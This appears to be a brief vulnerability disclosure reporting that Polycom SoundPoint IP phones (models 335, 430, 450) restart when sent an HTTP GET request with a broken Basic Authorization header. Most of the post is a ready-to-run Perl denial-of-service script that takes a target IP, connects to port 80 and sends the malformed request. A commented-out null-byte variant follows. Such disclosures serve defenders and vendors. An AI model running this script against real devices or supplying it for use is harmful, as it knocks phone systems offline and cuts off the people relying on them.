Hello,
Polycom SoundPoint IP devices (IP phones) are vulnerable to Denial of
Service attacks. Sending HTTP GET request with broken Authorization
header effect a device restart after ~60 seconds.
It was tested on:
SoundPoint IP 335 (Version: 3.2.4.1734)
SoundPoint IP 430 (Version: 3.2.3.1734)
SoundPoint IP 450 (Version: 4.2.2.0710)
Proof Of Concept:
-----------------------------------------
#!/usr/bin/perl
use IO::Socket;
use strict;
use warnings;
if (!$ARGV[0]) {
print "Usage: $0 [IP]\n";
exit;
}
my $socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "80") || die "Error $!";
print $socket "GET /reg_1.htm HTTP/1.1\r\nAuthorization: Basic\r\n\r\n";
#print $socket "GET /reg_1.htm HTTP/1.1\r\nAuthorization: Basic \0\r\n\r\n";
